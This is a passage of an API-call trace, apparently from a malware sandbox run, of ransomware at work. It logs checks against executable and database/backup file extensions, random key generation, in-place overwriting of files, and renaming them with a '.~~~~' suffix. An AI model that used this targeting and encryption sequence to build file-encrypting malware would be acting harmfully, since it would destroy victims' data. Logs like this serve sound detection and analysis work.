	[0077.846] lstrlenW (lpString=".dbv") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dbv") returned 0x0
	[0077.846] lstrlenW (lpString=".SDF") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".SDF") returned 0x0
	[0077.846] lstrlenW (lpString=".dtxs") returned 5
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dtxs") returned 0x0
	[0077.846] lstrlenW (lpString=".db3") returned 4
	[0077.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".db3") returned 0x0
	[0077.846] lstrlenW (lpString=".OST") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".OST") returned 0x0
	[0077.847] lstrlenW (lpString=".dbx") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dbx") returned 0x0
	[0077.847] lstrlenW (lpString=".DB3") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DB3") returned 0x0
	[0077.847] lstrlenW (lpString=".DAT") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DAT") returned 0x0
	[0077.847] lstrlenW (lpString=".VHDX") returned 5
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".VHDX") returned 0x0
	[0077.847] lstrlenW (lpString=".ndf") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".ndf") returned 0x0
	[0077.847] lstrlenW (lpString=".DB") returned 3
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DB") returned 0x0
	[0077.847] lstrlenW (lpString=".sql") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".sql") returned 0x0
	[0077.847] lstrlenW (lpString=".MYD") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".MYD") returned 0x0
	[0077.847] lstrlenW (lpString=".DBT") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DBT") returned 0x0
	[0077.847] lstrlenW (lpString=".ACCDB") returned 6
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".ACCDB") returned 0x0
	[0077.847] lstrlenW (lpString=".fdb") returned 4
	[0077.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".fdb") returned 0x0
	[0077.847] lstrlenW (lpString=".bak") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".bak") returned 0x0
	[0077.848] lstrlenW (lpString=".myd") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".myd") returned 0x0
	[0077.848] lstrlenW (lpString=".DTXS") returned 5
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".DTXS") returned 0x0
	[0077.848] lstrlenW (lpString=".ckp") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".ckp") returned 0x0
	[0077.848] lstrlenW (lpString=".dbt") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".dbt") returned 0x0
	[0077.848] lstrlenW (lpString=".db") returned 3
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".db") returned 0x0
	[0077.848] lstrlenW (lpString=".TXT") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".TXT") returned 0x0
	[0077.848] lstrlenW (lpString=".MDF") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".MDF") returned 0x0
	[0077.848] lstrlenW (lpString=".bdb") returned 4
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".bdb") returned 0x0
	[0077.848] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.848] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.850] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.850] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.850] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19783992008) returned 1
	[0077.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x984c1110, dwHighDateTime=0x1d60e1e)) 
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a80a0
	[0077.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.850] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.851] GetLastError () returned 0x0
	[0077.851] GetLastError () returned 0x0
	[0077.851] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.851] GetLastError () returned 0x0
	[0077.851] GetLastError () returned 0x0
	[0077.852] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.857] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.859] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.861] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.861] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.861] CloseHandle (hObject=0x130) returned 1
	[0077.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.~~~~")) returned 1
	[0077.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.862] GetLastError () returned 0x0
	[0077.862] RtlWakeConditionVariable () returned 0x365f70
	[0077.862] GetCurrentThreadId () returned 0x3a4
	[0077.862] GetCurrentThreadId () returned 0x3a4
	[0077.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8398 | out: hHeap=0x300000) returned 1
	[0077.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0077.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0077.862] lstrlenW (lpString=".scr") returned 4
	[0077.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".scr") returned 0x0
	[0077.862] lstrlenW (lpString=".cmd") returned 4
	[0077.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".cmd") returned 0x0
	[0077.863] lstrlenW (lpString=".dll") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dll") returned 0x0
	[0077.863] lstrlenW (lpString=".bat") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".bat") returned 0x0
	[0077.863] lstrlenW (lpString=".cpl") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".cpl") returned 0x0
	[0077.863] lstrlenW (lpString=".sys") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".sys") returned 0x0
	[0077.863] lstrlenW (lpString=".msc") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".msc") returned 0x0
	[0077.863] lstrlenW (lpString=".com") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".com") returned 0x0
	[0077.863] lstrlenW (lpString=".lnk") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".lnk") returned 0x0
	[0077.863] lstrlenW (lpString=".msp") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".msp") returned 0x0
	[0077.863] lstrlenW (lpString=".pif") returned 4
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".pif") returned 0x0
	[0077.863] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.864] lstrlenW (lpString=".sqb") returned 4
	[0077.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".sqb") returned 0x0
	[0077.864] lstrlenW (lpString=".ost") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".ost") returned 0x0
	[0077.865] lstrlenW (lpString=".txt") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".txt") returned 0x0
	[0077.865] lstrlenW (lpString=".mdt") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".mdt") returned 0x0
	[0077.865] lstrlenW (lpString=".BDB") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".BDB") returned 0x0
	[0077.865] lstrlenW (lpString=".eql") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".eql") returned 0x0
	[0077.865] lstrlenW (lpString=".DBF") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DBF") returned 0x0
	[0077.865] lstrlenW (lpString=".EQL") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".EQL") returned 0x0
	[0077.865] lstrlenW (lpString=".FDB") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".FDB") returned 0x0
	[0077.865] lstrlenW (lpString=".EDB") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".EDB") returned 0x0
	[0077.865] lstrlenW (lpString=".DACPAC") returned 7
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DACPAC") returned 0x0
	[0077.865] lstrlenW (lpString=".VHD") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".VHD") returned 0x0
	[0077.865] lstrlenW (lpString=".DBV") returned 4
	[0077.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DBV") returned 0x0
	[0077.866] lstrlenW (lpString=".dacpac") returned 7
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dacpac") returned 0x0
	[0077.866] lstrlenW (lpString=".sdf") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".sdf") returned 0x0
	[0077.866] lstrlenW (lpString=".accdb") returned 6
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".accdb") returned 0x0
	[0077.866] lstrlenW (lpString=".DBX") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DBX") returned 0x0
	[0077.866] lstrlenW (lpString=".MDT") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".MDT") returned 0x0
	[0077.866] lstrlenW (lpString=".SQB") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".SQB") returned 0x0
	[0077.866] lstrlenW (lpString=".vhd") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".vhd") returned 0x0
	[0077.866] lstrlenW (lpString=".bac") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".bac") returned 0x0
	[0077.866] lstrlenW (lpString=".mdf") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".mdf") returned 0x0
	[0077.866] lstrlenW (lpString=".BAK") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".BAK") returned 0x0
	[0077.866] lstrlenW (lpString=".BAC") returned 4
	[0077.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".BAC") returned 0x0
	[0077.867] lstrlenW (lpString=".dbs") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dbs") returned 0x0
	[0077.867] lstrlenW (lpString=".vhdx") returned 5
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".vhdx") returned 0x0
	[0077.867] lstrlenW (lpString=".NDF") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".NDF") returned 0x0
	[0077.867] lstrlenW (lpString=".dat") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dat") returned 0x0
	[0077.867] lstrlenW (lpString=".DBS") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DBS") returned 0x0
	[0077.867] lstrlenW (lpString=".CKP") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".CKP") returned 0x0
	[0077.867] lstrlenW (lpString=".edb") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".edb") returned 0x0
	[0077.867] lstrlenW (lpString=".PST") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".PST") returned 0x0
	[0077.867] lstrlenW (lpString=".dbf") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dbf") returned 0x0
	[0077.867] lstrlenW (lpString=".SQL") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".SQL") returned 0x0
	[0077.867] lstrlenW (lpString=".pst") returned 4
	[0077.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".pst") returned 0x0
	[0077.867] lstrlenW (lpString=".dbv") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dbv") returned 0x0
	[0077.868] lstrlenW (lpString=".SDF") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".SDF") returned 0x0
	[0077.868] lstrlenW (lpString=".dtxs") returned 5
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dtxs") returned 0x0
	[0077.868] lstrlenW (lpString=".db3") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".db3") returned 0x0
	[0077.868] lstrlenW (lpString=".OST") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".OST") returned 0x0
	[0077.868] lstrlenW (lpString=".dbx") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dbx") returned 0x0
	[0077.868] lstrlenW (lpString=".DB3") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DB3") returned 0x0
	[0077.868] lstrlenW (lpString=".DAT") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DAT") returned 0x0
	[0077.868] lstrlenW (lpString=".VHDX") returned 5
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".VHDX") returned 0x0
	[0077.868] lstrlenW (lpString=".ndf") returned 4
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".ndf") returned 0x0
	[0077.868] lstrlenW (lpString=".DB") returned 3
	[0077.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DB") returned 0x0
	[0077.868] lstrlenW (lpString=".sql") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".sql") returned 0x0
	[0077.869] lstrlenW (lpString=".MYD") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".MYD") returned 0x0
	[0077.869] lstrlenW (lpString=".DBT") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DBT") returned 0x0
	[0077.869] lstrlenW (lpString=".ACCDB") returned 6
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".ACCDB") returned 0x0
	[0077.869] lstrlenW (lpString=".fdb") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".fdb") returned 0x0
	[0077.869] lstrlenW (lpString=".bak") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".bak") returned 0x0
	[0077.869] lstrlenW (lpString=".myd") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".myd") returned 0x0
	[0077.869] lstrlenW (lpString=".DTXS") returned 5
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".DTXS") returned 0x0
	[0077.869] lstrlenW (lpString=".ckp") returned 4
